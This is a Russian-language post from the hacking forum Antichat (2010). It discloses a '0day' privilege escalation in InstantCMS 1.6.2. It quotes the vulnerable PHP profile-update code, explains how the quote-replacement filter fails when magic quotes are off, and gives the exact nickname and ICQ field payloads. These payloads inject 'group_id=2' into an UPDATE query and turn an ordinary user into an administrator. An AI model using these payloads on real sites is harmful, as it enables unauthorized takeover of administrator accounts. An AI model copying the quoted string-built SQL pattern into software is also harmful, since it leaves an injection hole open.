ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #30  
Старый 16.05.2010, 12:58
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

УРА! Вышла стабильная версия instantCMS 1.6.2, в которой разработчики полатали все выложенные тут баги, но у меня была цель найти еще баг именно в этой версии, что из этого вышло смотрим ниже.

0day. Повышаение прав в cms до админа InstantCms <===1.6.2 (обход фильтра)

Как видно из названия, мы можем из простого юзера попасть в админа.
Need MQ=off
редактирование профиля:
/users/frontend.php
PHP код:

if ($do=='editprofile'){

    
$opt $inCore->request('opt''str''edit');

    if (
usrCheckAuth()){
    
        if (
$inUser->id==$id || $inCore->userIsAdmin($inUser->id)){
        
                if (
$opt == 'save'){
                    
$errors false;
                    
                    
$nickname $inCore->request('nickname''str');
                    if (
strlen($nickname)<2) { cmsCore::addSessionMessage($_LANG['SHORT_NICKNAME'], 'error'); $errors true; }

                    
$gender $inCore->request('gender''str');
                    
                    
$city $inCore->request('city''str');
                    if (
strlen($city)>20) { cmsCore::addSessionMessage($_LANG['LONG_CITY_NAME'], 'error'); $errors true; }

                    
$email $inCore->request('email''str');
                    if (!
strpos($email'@') || !strpos($email'.')) { cmsCore::addSessionMessage($_LANG['REALY_ADRESS_EMAIL'], 'error'); $errors true; }
                    
                    
$showmail       $inCore->request('showmail''int');
                    
$email_newmsg   $inCore->request('email_newmsg''int');
                    
                    
$showbirth      $inCore->request('showbirth''int');
                    
$description    $inCore->request('description''str');
                    
                    
$birthdate      = (int)$_REQUEST['birthdate']['year'].'-'.(int)$_REQUEST['birthdate']['month'].'-'.(int)$_REQUEST['birthdate']['day'];
                    
$signature      $inCore->request('signature''str');

                    
$allow_who      $inCore->request('allow_who''str');
                    
                    
$icq            $inCore->request('icq''str');
                    
$showicq        $inCore->request('showicq''int');
                    
                    
$cm_subscribe   $inCore->request('cm_subscribe''str');
                    
                    if (
$inCore->inRequest('field')){
                        foreach(
$_POST['field'] as $k=>$val){
                            
$_POST['field'][$k] = str_replace('\"''&quot;'$_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace('"''&quot;'$_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace("\'"'’'$_POST['field'][$k]);
                            
$_POST['field'][$k] = str_replace("'"'’'$_POST['field'][$k]);
                            
$_POST['field'][$k] = strip_tags($_POST['field'][$k]);
                        }                    
                        
$formsdata $inCore->arrayToYaml($_POST['field']);
                        
$forms_sql ", formsdata='$formsdata'";
                    } else {
                        
$forms_sql '';
                    }
                    
                    if (!
$errors){
                       
                        
$sql "UPDATE cms_user_profiles 
                                 SET city = '
$city',
                                    description = '
$description',
                                    showmail='
$showmail',
                                    showbirth='
$showbirth',
                                    showicq='
$showicq',
                                    allow_who='
$allow_who',
                                    signature='
$signature',
                                    gender='
$gender$forms_sql,
                                    email_newmsg='
$email_newmsg',
                                    cm_subscribe='
$cm_subscribe'
                                WHERE user_id = 
$id";
                        
$inDB->query($sql) ;

                        
$sql "UPDATE cms_users 
                                SET birthdate='
$birthdate',
                                    email='
$email',
                                    icq='
$icq',
                                    nickname='
$nickname'
                                WHERE id = 
$id";
                        
$inDB->query($sql) ;

                        
cmsCore::addSessionMessage($_LANG['PROFILE_SAVED'], 'info');

                    }

                    
$inCore->redirect(cmsUser::getProfileURL($inUser->login));
                    
                } 
Как устроен фильтр? У нас фильтр реплэсит
' (Кавычка)
\' (слеш+одинарная кавычка)
\" (слеш+двойная кавычка)
"(двойная кавычка)
насчет 2 и 3 я честно сказать не понял, что разработчики хотели этим мне доказать?
давайте обратим внимание на этот запрос.
Код:
						$sql = "UPDATE cms_users 
								SET birthdate='$birthdate',
									email='$email',
									icq='$icq',
									nickname='$nickname'
								WHERE id = $id";
						$inDB->query($sql) ;
Этот запрос апдейтит cms_users. (Через форму для апдейта). изменяет ICQ, email, nickname.
В этой таблице есть столбец отвечающий за группу пользователя: group_id Если она установлена на 1-то наш пользователь-юзер если 2-пользователь админ.
Здесь нам интересны $icq, $nickname. $email не интересен, так как он через регулярку проходит. $id-id юзера, у которого мы меняем данные.
Ну и как же нам внедрить себя в этот запрос с учетом вышеуказанного фильтра? ЭЛЕМЕНТРАРНО!
В поле ваше имя вбиваем: group_id=2 #\
В поле ICQ Вбиваем: 333s \
соответственно $icq=333s \ ; $nickname=group_id=2 #\
Давайте посмотрим, что у нас получилось.
Код:
						$sql = "UPDATE cms_users 
								SET birthdate='$birthdate',
									email='$email',
									icq='333s \',
									nickname=', group_id=2 #\'
								WHERE id = $id";

АГА. Жареным пахнет.
Мы заэкранировали кавычку и вышли в запрос, и закрыли icq мы открывающей кавычкой От nickname и дописали доболнительное значение group_id=2. После выполнения наш юзер, которому мы меняли данные примет group_id=2 и чудесным образом превратится в админа.
Вот такая вот интересная бага была найдена в новой версии instantCMS


Видео к теме:
Код:
https://forum.antichat.ru/showthread.php?p=2145955#post2145955

Последний раз редактировалось The matrix; 16.05.2010 в 17:41..
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ